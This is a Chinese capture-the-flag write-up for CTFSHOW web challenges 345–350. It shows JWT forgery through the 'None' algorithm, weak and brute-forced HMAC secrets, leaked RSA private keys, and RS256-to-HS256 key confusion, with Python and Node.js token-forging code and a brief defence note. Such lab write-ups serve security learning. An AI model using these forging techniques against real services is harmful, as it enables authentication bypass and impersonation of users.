[CTFSHOW]JWT

文章目录

  • 前言
  • JWT简介
  • CTFSHOW Web345
  • CTFSHOW Web346
    • 前置知识
    • 开始做题
  • CTFSHOW Web347
  • CTFSHOW Web348
  • CTFSHOW Web349
  • CTFSHOW Web350
    • 前置知识
    • 利用
    • WP
    • 如何防御

前言

有些师傅向我咨询WP,索性就发了吧,其实早就写好了,只是懒,在github仓库里囤着

JWT简介

可以看看我的Github总结给自己看的,Y4tacker

CTFSHOW Web345

首先打开题目,查看源码,接下来访问/admin被跳转回主页啥也没有发生

where is flag?

当然知道这个板块是JWT,自然而然我们看一眼Cookie,发现名为auth的一个cookie为

eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3sic3ViIjoidXNlciJ9XQ

通过base64解密或者去jwt.io解码也行,得到结果

{"alg":"None","typ":"jwt"}[{"sub":"user"}]

所以我们尝试把sub对应的键值修改

{"alg":"None","typ":"jwt"}[{"sub":"admin"}]

把前面部分和后面部分分别base64-encode

eyJhbGciOiJOb25lIiwidHlwIjoiand0In0

后面

W3sic3ViIjoiYWRtaW4ifV0=

把这两部分用点(.)拼接两部分并去掉等于号

eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3sic3ViIjoiYWRtaW4ifV0

此时拿着这一串cookie去替换掉原来的值,之后访问/admin即可获取flag

CTFSHOW Web346

前置知识

JWT支持将算法设定为“None”。如果“alg”字段设为“ None”,那么签名会被置空,这样任何token都是有效的。
设定该功能的最初目的是为了方便调试。但是,若不在生产环境中关闭该功能,攻击者可以通过将alg字段设置为“None”来伪造他们想要的任何token,接着便可以使用伪造的token冒充任意用户登陆网站。

开始做题

首先拿到cookie

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYwOTIzNjg3MCwiZXhwIjoxNjA5MjQ0MDcwLCJuYmYiOjE2MDkyMzY4NzAsInN1YiI6InVzZXIiLCJqdGkiOiI5NDNkMGIzMjM3ODA2NjU5ZDJlMjA1ZTQyYjMxOTQ5NCJ9.9TUQLyYKs97ceFhZQ4BzkAuug6nCgLoMAbLH88kSOwo

解码

{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "iss": "admin",
  "iat": 1609236870,
  "exp": 1609244070,
  "nbf": 1609236870,
  "sub": "user",
  "jti": "943d0b3237806659d2e205e42b319494"
}

我们需要把sub字段改为admin

但是如果把签名算法改为none的化jwt.io那个网站就无法生成,这个时候可以使用python生成

import jwt

# payload
token_dict = {
     
  "iss": "admin",
  "iat": 1609236870,
  "exp": 1609244070,
  "nbf": 1609236870,
  "sub": "admin",
  "jti": "943d0b3237806659d2e205e42b319494"
}

headers = {
     
  "alg": "none",
  "typ": "JWT"
}
jwt_token = jwt.encode(token_dict,  # payload, 有效载体
                       "",  # 进行加密签名的密钥
                       algorithm="none",  # 指明签名算法方式, 默认也是HS256
                       headers=headers 
                       # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
                       )

print(jwt_token)

将生成的字符串来替换原有的cookie获得flag

CTFSHOW Web347

看见题干说是弱口令,去jwt.io解码

解码前

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYwOTIzNzM2NiwiZXhwIjoxNjA5MjQ0NTY2LCJuYmYiOjE2MDkyMzczNjYsInN1YiI6InVzZXIiLCJqdGkiOiI3NzgzMjYzZDIxODVlYzhlYTBhYjY2MjZmMTk5MWRiOCJ9.aX8kzpC_p6HCUW60UdLVqjkDN97zmP0Ce6yETdaiv80

解码后发现还是HS256对称加密

{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "iss": "admin",
  "iat": 1609237366,
  "exp": 1609244566,
  "nbf": 1609237366,
  "sub": "user",
  "jti": "7783263d2185ec8ea0ab6626f1991db8"
}

既然题目说是弱口令我们尝试使用最简单的弱口令123456,成功,接下来我们只需要拿着这个密钥去生成jwt即可

CTFSHOW Web348

密钥爆破工具:

  • c-jwt-cracker

看见题干说是爆破,猜都猜出来密钥了其实

./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYwOTIzNzc0OSwiZXhwIjoxNjA5MjQ0OTQ5LCJuYmYiOjE2MDkyMzc3NDksInN1YiI6InVzZXIiLCJqdGkiOiI0ZDJlZWMwNDRiM2MxNTRjNmRjYmM5NzUzMmE3MmU3OCJ9.D0-CXOY9O1SvOvYqwYkUZ-ruOMbOMPh3dzOKiOamt2s
Secret is "aaab"

得到密钥aaab,拿去生成即可

CTFSHOW Web349

首先看代码,发现公私钥都放在了public文件夹下面,nodejs中可以直接访问此文件

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
  res.cookie('auth',token);
  res.end('where is flag?');
  
});

router.post('/',function(req,res,next){
	var flag="flag_here";
	res.type('html');
	var auth = req.cookies.auth;
	var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public key
	jwt.verify(auth, cert, function(err, decoded) {
	  if(decoded.user==='admin'){
	  	res.end(flag);
	  }else{
	  	res.end('you are not admin');
	  }
	});
});

因此我们在url后面分别拼接private.key与public.key将公私钥下载下来

然后我们看看解码结果

{
  "alg": "RS256",
  "typ": "JWT"
}
{
  "user": "user",
  "iat": 1609250966
}

发现果然是RS256

RS256 (采用SHA-256 的 RSA 签名) 是一种非对称算法, 它使用公共/私钥对: 标识提供方采用私钥生成签名, JWT 的使用方获取公钥以验证签名。由于公钥 (与私钥相比) 不需要保护, 因此大多数标识提供方使其易于使用方获取和使用 (通常通过一个元数据URL)。

在jwt.io中分别把公私钥复制进去,然后替换Cookie即可

CTFSHOW Web350

前置知识

JWT签名算法中,一般有两个选择,一个采用HS256,另外一个就是采用RS256。
签名实际上是一个加密的过程,生成一段标识(也是JWT的一部分)作为接收方验证信息是否被篡改的依据。

RS256 (采用SHA-256 的 RSA 签名) 是一种非对称算法, 它使用公共/私钥对: 标识提供方采用私钥生成签名, JWT 的使用方获取公钥以验证签名。由于公钥 (与私钥相比) 不需要保护, 因此大多数标识提供方使其易于使用方获取和使用 (通常通过一个元数据URL)。
另一方面, HS256 (带有 SHA-256 的 HMAC 是一种对称算法, 双方之间仅共享一个 密钥。由于使用相同的密钥生成签名和验证签名, 因此必须注意确保密钥不被泄密。

在开发应用的时候启用JWT,使用RS256更加安全,你可以控制谁能使用什么类型的密钥。另外,如果你无法控制客户端,无法做到密钥的完全保密,RS256会是个更佳的选择,JWT的使用方只需要知道公钥。

由于公钥通常可以从元数据URL节点获得,因此可以对客户端进行进行编程以自动检索公钥。如果采用这种方式,从服务器上直接下载公钥信息,可以有效的减少配置信息。

利用

此攻击的原因是某些库对签名/验证HMAC对称加密的密钥和包含用于验证RSA签名令牌的公钥的密钥使用相同的变量名。
通过将算法调整为HMAC变体(HS256/HS384/HS512)并使用公共可用公钥对其进行签名,我们可以欺骗服务使用机密变量中的硬编码公钥验证HMAC令牌。

WP

由于jwt在python和nodejs的库不同,造成在这里只能自己手动生成了,之后运行nodejs获取cookie去替换即可,当然我这是懒鬼做法,也可以单独抽离出来自己整一下

router.get('/', function(req, res, next) {
     
  res.type('html');
  var cert = fs.readFileSync(process.cwd()+'//routes/public.key');
  var token = jwt.sign({
      user: 'admin' }, cert, {
      algorithm: 'HS256' });

  res.cookie('auth',token);
  res.end('where is flag?');
  
});

如何防御

JWT配置应该只允许使用HMAC算法或公钥算法,决不能同时使用这两种算法

你可能感兴趣的:(#,Web,#,CTF记录,安全学习)